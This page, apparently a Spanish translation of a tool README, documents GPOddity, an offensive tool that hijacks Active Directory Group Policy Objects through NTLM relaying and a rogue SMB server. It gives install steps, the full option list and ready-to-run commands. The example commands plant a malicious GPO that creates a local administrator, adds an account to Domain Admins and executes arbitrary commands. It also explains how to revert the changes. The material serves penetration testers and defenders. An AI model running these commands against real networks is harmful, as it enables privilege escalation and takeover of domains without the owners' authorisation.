
Automatiza la explotación de GPO de Active Directory mediante NTLM relaying, permitiendo la generación de plantillas de GPO maliciosas, suplantación de ubicación y ejecución de comandos para escalada de privilegios y movimiento lateral.
El proyecto GPOddity, cuyo objetivo es automatizar los vectores de ataque a GPO mediante NTLM relaying (y más).
Para más detalles sobre el ataque y una demostración de cómo usar la herramienta, consulte el artículo asociado disponible en: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more
Puede instalar GPOddity a través de pipx con el siguiente comando:
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity
Alternativamente, puede instalar GPOddity manualmente clonando el repositorio e instalando las dependencias:
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt
$ python3 gpoddity.py --help
Usage: gpoddity.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ General options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --domain TEXT The target domain [default: None] [required] │
│ * --gpo-id TEXT The GPO object GUID without enclosing brackets (for instance, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [required] │
│ * --username TEXT The username of the user having write permissions on the GPO AD object. This may be a machine account (for instance, 'SRV01$') [default: None] [required] │
│ --password TEXT The password of the user having write permissions on the GPO AD object [default: None] │
│ --hash TEXT The NTLM hash of the user having write permissions on the GPO AD object, with the format 'LM:NT' [default: None] │
│ --dc-ip TEXT [Optional] The IP of the domain controller if the domain name can not be resolved. [default: None] │
│ --ldaps [Optional] Use LDAPS on port 636 instead of LDAP │
│ --verbose [Optional] Enable verbose output │
│ --just-clean [Optional] Only perform cleaning action from the values specified in the file of the --clean-file flag. May be useful to clean up in case of incomplete │
│ exploitation or ungraceful exit │
│ --clean-file TEXT [Optional] The file from the 'cleaning/' folder containing the values to restore when using --just-clean flag. Relative path from GPOddity install folder, or │
│ absolute path │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Malicious Group Policy Template generation options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command TEXT The command that should be executed through the malicious GPO [default: None] │
│ --powershell [Optional] Use powershell instead of cmd for command execution │
│ --gpo-type [user|computer] [Optional] The type of GPO that we are targeting. Can either be 'user' or 'computer' [default: computer] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Group Policy Template location spoofing options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip TEXT The IP address or DNS name of the server that will host the spoofed malicious GPO. If using the GPOddity smb server, this should be the IP address of │
│ the current host on the internal network (for instance, 192.168.58.101) │
│ [default: None] │
│ --rogue-smbserver-share TEXT The name of the share that will serve the spoofed malicious GPO (for instance, 'synacktiv'). If you are running the embedded SMB server, do NOT provide │
│ names including 'SYSVOL' or 'NETLOGON' (protected by UNC path hardening by default) │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB server options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name TEXT [Optional] The name of a valid domain machine account, that will be used to perform Netlogon authentication (for instance, SRV01$). If │
│ omitted, will use the user specified with the --username option, and assume that it is a valid machine account │
│ [default: None] │
│ --machine-pass TEXT [Optional] The password of the machine account if specified with --machine-name [default: None] │
│ --machine-hash TEXT [Optional] The NTLM hash of the machine account if specified with --machine-name, with the format 'LM:NT' [default: None] │
│ --comment TEXT [Optional] Share's comment to display when asked for shares [default: None] │
│ --interface TEXT [Optional] The interface on which the GPOddity smb server should listen [default: 0.0.0.0] │
│ --port TEXT [Optional] The port on which the GPOddity smb server should listen [default: 445] │
│ --smb-mode [embedded|forwarded|none] [Optional] 'Embedded' SMB server will host an SMB server on this machine. 'Forwarded' will forward SMB traffic to a fake Domain Controller │
│ (requires a machine account associated with a DNS record pointing to the attacker machine. Generated GPT should be uploaded on the fake │
│ DC). 'None' will not host any SMB server (generated GPT should be uploaded on a writable SMB share in the domain) │
│ [default: embedded] │
│ --empty-gpo [Optional] By default, GPOddity will clone the target GPO and add a malicious immediate task. If this flag is specified, an empty GPO will │
│ be used instead of a clone of the legitimate one (can be useful for some edge cases in which immediate tasks will not integrate well with │
│ existing GPOs) │
│ --attacker-ip TEXT [Optional] The IP of the attacker machine in the internal network (required for smb-mode 'forwarded') │
│ --forwarded-ip TEXT [Optional] The IP of the fake DC to which SMB traffic will be forwarded (required for smb-mode 'forwarded') │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
A continuación se muestran algunos comandos de ejemplo tomados del artículo enlazado anteriormente.
Explotando un GPO de equipo para agregar un administrador local. El modo SMB es 'embedded': GPOddity alojará la GPT en su servidor SMB incorporado.
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'
Explotando un GPO de usuario para agregar un administrador local. Modo SMB 'none': GPOddity creará la GPT maliciosa, y luego usted deberá subirla a un recurso compartido del dominio con permisos de escritura.
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
--rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'
Explotando un GPO de usuario para agregar un administrador local. Modo SMB 'forwarded': deberá agregar un registro DNS que apunte a la máquina de GPOddity, asociado a una cuenta de máquina. Deberá proporcionar la dirección IP de un DC falso cuya contraseña esté sincronizada con la cuenta de máquina, y subir la GPT maliciosa a dicho DC falso. Para más información sobre este modo, consulte mi charla de Black Alps 2024 (disponible próximamente).
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'
Una de las ventajas de usar GPOddity reside en la posibilidad de explotar GPOs de forma segura, sin alterar los archivos GPT legítimos, minimizando así los riesgos de interrupción en entornos de producción. Sin embargo, GPOddity aún tiene que modificar algunos atributos de los archivos del contenedor de directiva de grupo (Group Policy Container) para suplantar temporalmente la ubicación de la GPT. Como resultado, asegurar que el entorno de producción siga siendo funcional requiere revertir esos cambios después de la explotación.
Por defecto, y como se explica en el artículo, GPOddity lo hará por usted, revirtiendo cualquier alteración realizada en el GPC al final de la explotación, cuando el usuario interrumpa el programa con CTRL+C. Por lo tanto, en condiciones normales, no necesita hacer nada para asegurar que todo quede limpio.
Sin embargo, si por alguna razón no puede salir de GPOddity correctamente mediante un CTRL+C (proceso eliminado, pérdida de conexión de red, etc.), puede lanzar GPOddity con la bandera '--just-clean' para realizar acciones de limpieza de manera independiente.
Esta funcionalidad funciona de la siguiente manera. Cada vez que se ejecuta GPOddity, el estado inicial del GPO se guarda en un archivo bajo la ruta cleaning/[GPO ID]/[timestamp].txt. Luego puede restaurar todos los valores contenidos en este archivo de guardado mediante la bandera '--just-clean'. Por ejemplo, suponga que desea restaurar todos los atributos del GPO con ID '46993522-7D77-4B59-9B77-F82082DE9D81' a sus valores anteriores a la ejecución de GPOddity el 14 de octubre de 2023 a las 08:08:44. Puede ejecutar el siguiente comando:
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt
